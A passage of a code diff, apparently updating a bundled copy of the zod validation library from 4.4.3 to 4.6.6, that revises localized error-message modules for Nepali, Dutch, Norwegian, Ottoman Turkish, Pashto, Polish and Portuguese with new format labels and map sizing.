"IPv6 \u0926\u093E\u092F\u0930\u093E", + base64: "base64-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + base64url: "base64url-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + e164: "E.164 \u0928\u092E\u094D\u092C\u0930", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0928\u092E\u094D\u092C\u0930", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u0939\u0930\u0942 \u092E\u0927\u094D\u092F\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u093E ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} \u092E\u093E ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.prefix}" \u092C\u093E\u091F \u0938\u0941\u0930\u0941 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.suffix}" \u092E\u093E \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.includes}" \u0938\u092E\u093E\u0935\u0947\u0936 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: \u0922\u093E\u0901\u091A\u093E ${_issue.pattern} \u0938\u0901\u0917 \u092E\u0947\u0932 \u0916\u093E\u0928\u0941\u092A\u0930\u094D\u091B`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: ${issue2.divisor} \u0915\u094B \u0917\u0941\u0923\u091C \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u091E\u094D\u091C\u0940${issue2.keys.length > 1 ? "\u0939\u0930\u0942" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u091E\u094D\u091C\u0940: ${issue2.origin} \u092E\u093E`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u093E`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function ne_default() { + return { + localeError: error36() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nl.js +var error37 = () => { const Sizable = { string: { unit: "tekens", verb: "heeft" }, file: { unit: "bytes", verb: "heeft" }, array: { unit: "elementen", verb: "heeft" }, - set: { unit: "elementen", verb: "heeft" } + set: { unit: "elementen", verb: "heeft" }, + map: { unit: "elementen", verb: "heeft" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62811,12 +64650,16 @@ var error31 = () => { duration: "ISO duur", ipv4: "IPv4-adres", ipv6: "IPv6-adres", + mac: "MAC-adres", cidrv4: "IPv4-bereik", cidrv6: "IPv6-bereik", base64: "base64-gecodeerde tekst", base64url: "base64 URL-gecodeerde tekst", json_string: "JSON string", e164: "E.164-nummer", + credit_card: "creditcardnummer", + currency_code: "valutacode", + iban: "IBAN", jwt: "JWT", template_literal: "invoer" }; @@ -62886,17 +64729,132 @@ var error31 = () => { }; function nl_default() { return { - localeError: error31() + localeError: error37() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/no.js -var error32 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nn.js +var error38 = () => { + const Sizable = { + string: { unit: "teikn", verb: "\xE5 ha" }, + file: { unit: "bytes", verb: "\xE5 ha" }, + array: { unit: "element", verb: "\xE5 innehalde" }, + set: { unit: "element", verb: "\xE5 innehalde" }, + map: { unit: "element", verb: "\xE5 innehalde" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "e-postadresse", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO dato- og klokkeslett", + date: "ISO-dato", + time: "ISO-klokkeslett", + duration: "ISO-varigheit", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", + cidrv4: "IPv4-spekter", + cidrv6: "IPv6-spekter", + base64: "base64-enkoda streng", + base64url: "base64url-enkoda streng", + json_string: "JSON-streng", + e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + number: "tal", + array: "liste" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ugyldig input: forventa instanceof ${issue2.expected}, fekk ${received}`; + } + return `Ugyldig input: forventa ${expected}, fekk ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ugyldig verdi: forventa ${stringifyPrimitive(issue2.values[0])}`; + return `Ugyldig val: forventa eitt av ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Ugyldig streng: m\xE5 starte med "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Ugyldig streng: m\xE5 slutte med "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Ugyldig streng: m\xE5 innehalde "${_issue.includes}"`; + if (_issue.format === "regex") + return `Ugyldig streng: m\xE5 matche m\xF8nsteret ${_issue.pattern}`; + return `Ugyldig ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ugyldig tal: m\xE5 vere eit multiplum av ${issue2.divisor}`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Ukjende n\xF8klar" : "Ukjend n\xF8kkel"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ugyldig n\xF8kkel i ${issue2.origin}`; + case "invalid_union": + return "Ugyldig input"; + case "invalid_element": + return `Ugyldig verdi i ${issue2.origin}`; + default: + return `Ugyldig input`; + } + }; +}; +function nn_default() { + return { + localeError: error38() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/no.js +var error39 = () => { const Sizable = { string: { unit: "tegn", verb: "\xE5 ha" }, file: { unit: "bytes", verb: "\xE5 ha" }, array: { unit: "elementer", verb: "\xE5 inneholde" }, - set: { unit: "elementer", verb: "\xE5 inneholde" } + set: { unit: "elementer", verb: "\xE5 inneholde" }, + map: { unit: "elementer", verb: "\xE5 inneholde" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62920,14 +64878,18 @@ var error32 = () => { date: "ISO-dato", time: "ISO-klokkeslett", duration: "ISO-varighet", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spekter", cidrv6: "IPv6-spekter", base64: "base64-enkodet streng", base64url: "base64url-enkodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -62995,17 +64957,18 @@ var error32 = () => { }; function no_default() { return { - localeError: error32() + localeError: error39() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ota.js -var error33 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ota.js +var error40 = () => { const Sizable = { string: { unit: "harf", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, - set: { unit: "unsur", verb: "olmal\u0131d\u0131r" } + set: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, + map: { unit: "unsur", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63031,12 +64994,16 @@ var error33 = () => { duration: "ISO m\xFCddeti", ipv4: "IPv4 ni\u015F\xE2n\u0131", ipv6: "IPv6 ni\u015F\xE2n\u0131", + mac: "MAC ni\u015F\xE2n\u0131", cidrv4: "IPv4 menzili", cidrv6: "IPv6 menzili", base64: "base64-\u015Fifreli metin", base64url: "base64url-\u015Fifreli metin", json_string: "JSON metin", e164: "E.164 say\u0131s\u0131", + credit_card: "i'tib\xE2r kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "giren" }; @@ -63105,17 +65072,18 @@ var error33 = () => { }; function ota_default() { return { - localeError: error33() + localeError: error40() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ps.js -var error34 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ps.js +var error41 = () => { const Sizable = { string: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, file: { unit: "\u0628\u0627\u06CC\u067C\u0633", verb: "\u0648\u0644\u0631\u064A" }, array: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, - set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } + set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, + map: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63141,12 +65109,16 @@ var error34 = () => { duration: "\u0645\u0648\u062F\u0647", ipv4: "\u062F IPv4 \u067E\u062A\u0647", ipv6: "\u062F IPv6 \u067E\u062A\u0647", + mac: "\u062F MAC \u067E\u062A\u0647", cidrv4: "\u062F IPv4 \u0633\u0627\u062D\u0647", cidrv6: "\u062F IPv6 \u0633\u0627\u062D\u0647", base64: "base64-encoded \u0645\u062A\u0646", base64url: "base64url-encoded \u0645\u062A\u0646", json_string: "JSON \u0645\u062A\u0646", e164: "\u062F E.164 \u0634\u0645\u06D0\u0631\u0647", + credit_card: "\u062F \u06A9\u0631\u06CC\u0689\u06CC\u067C \u06A9\u0627\u0631\u062A \u0634\u0645\u06CC\u0631\u0647", + currency_code: "\u062F \u0627\u0633\u0639\u0627\u0631\u0648 \u06A9\u0648\u0689", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u064A" }; @@ -63220,17 +65192,18 @@ var error34 = () => { }; function ps_default() { return { - localeError: error34() + localeError: error41() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pl.js -var error35 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pl.js +var error42 = () => { const Sizable = { string: { unit: "znak\xF3w", verb: "mie\u0107" }, file: { unit: "bajt\xF3w", verb: "mie\u0107" }, array: { unit: "element\xF3w", verb: "mie\u0107" }, - set: { unit: "element\xF3w", verb: "mie\u0107" } + set: { unit: "element\xF3w", verb: "mie\u0107" }, + map: { unit: "element\xF3w", verb: "mie\u0107" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63256,12 +65229,16 @@ var error35 = () => { duration: "czas trwania ISO", ipv4: "adres IPv4", ipv6: "adres IPv6", + mac: "adres MAC", cidrv4: "zakres IPv4", cidrv6: "zakres IPv6", base64: "ci\u0105g znak\xF3w zakodowany w formacie base64", base64url: "ci\u0105g znak\xF3w zakodowany w formacie base64url", json_string: "ci\u0105g znak\xF3w w formacie JSON", e164: "liczba E.164", + credit_card: "numer karty kredytowej", + currency_code: "kod waluty", + iban: "IBAN", jwt: "JWT", template_literal: "wej\u015Bcie" }; @@ -63330,121 +65307,301 @@ var error35 = () => { }; function pl_default() { return { - localeError: error35() + localeError: error42() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pt.js -var error36 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt.js +var error43 = () => { const Sizable = { - string: { unit: "caracteres", verb: "ter" }, - file: { unit: "bytes", verb: "ter" }, - array: { unit: "itens", verb: "ter" }, - set: { unit: "itens", verb: "ter" } + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } }; function getSizing(origin) { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "padr\xE3o", - email: "endere\xE7o de e-mail", - url: "URL", - emoji: "emoji", - uuid: "UUID", - uuidv4: "UUIDv4", - uuidv6: "UUIDv6", - nanoid: "nanoid", - guid: "GUID", - cuid: "cuid", - cuid2: "cuid2", - ulid: "ULID", - xid: "XID", - ksuid: "KSUID", - datetime: "data e hora ISO", - date: "data ISO", - time: "hora ISO", - duration: "dura\xE7\xE3o ISO", - ipv4: "endere\xE7o IPv4", - ipv6: "endere\xE7o IPv6", - cidrv4: "faixa de IPv4", - cidrv6: "faixa de IPv6", - base64: "texto codificado em base64", - base64url: "URL codificada em base64", - json_string: "texto JSON", - e164: "n\xFAmero E.164", - jwt: "JWT", - template_literal: "entrada" + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "o intervalo de endere\xE7os IPv4", + cidrv6: "o intervalo de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } }; const TypeDictionary = { - nan: "NaN", - number: "n\xFAmero", - null: "nulo" + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tuplo", articles: Gender.masculine }, + record: { name: "registo", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "ficheiro", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; - if (/^[A-Z]/.test(issue2.expected)) { - return `Tipo inv\xE1lido: esperado instanceof ${issue2.expected}, recebido ${received}`; - } - return `Tipo inv\xE1lido: esperado ${expected}, recebido ${received}`; + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; } case "invalid_value": if (issue2.values.length === 1) - return `Entrada inv\xE1lida: esperado ${stringifyPrimitive(issue2.values[0])}`; - return `Op\xE7\xE3o inv\xE1lida: esperada uma das ${joinValues(issue2.values, "|")}`; + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; case "too_big": { const adj = issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) - return `Muito grande: esperado que ${issue2.origin ?? "valor"} tivesse ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; - return `Muito grande: esperado que ${issue2.origin ?? "valor"} fosse ${adj}${issue2.maximum.toString()}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; } case "too_small": { const adj = issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { - return `Muito pequeno: esperado que ${issue2.origin} tivesse ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; } - return `Muito pequeno: esperado que ${issue2.origin} fosse ${adj}${issue2.minimum.toString()}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; } case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") + return `Texto inv\xE1lido: deve come\xE7ar por "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Texto inv\xE1lido: deve terminar em "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; + if (_issue.format === "regex") + return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + } + case "not_multiple_of": + return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } + case "invalid_key": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } + return "Entrada inv\xE1lida"; + case "invalid_element": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + default: + return `Entrada inv\xE1lida`; + } + }; +}; +function pt_default() { + return { + localeError: error43() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt-BR.js +var error44 = () => { + const Sizable = { + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "a faixa de endere\xE7os IPv4", + cidrv6: "a faixa de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } + }; + const TypeDictionary = { + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tupla", articles: Gender.feminine }, + record: { name: "registro", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "arquivo", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } + }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); + const receivedType = parsedType(issue2.input); + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; + } + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { return `Texto inv\xE1lido: deve come\xE7ar com "${_issue.prefix}"`; + } if (_issue.format === "ends_with") return `Texto inv\xE1lido: deve terminar com "${_issue.suffix}"`; if (_issue.format === "includes") return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; if (_issue.format === "regex") return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; - return `${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; } case "not_multiple_of": return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; - case "unrecognized_keys": - return `Chave${issue2.keys.length > 1 ? "s" : ""} desconhecida${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } case "invalid_key": - return `Chave inv\xE1lida em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } return "Entrada inv\xE1lida"; case "invalid_element": - return `Valor inv\xE1lido em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; default: - return `Campo inv\xE1lido`; + return `Entrada inv\xE1lida`; } }; }; -function pt_default() { +function pt_BR_default() { return { - localeError: error36() + localeError: error44() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ro.js -var error37 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ro.js +var error45 = () => { const Sizable = { string: { unit: "caractere", verb: 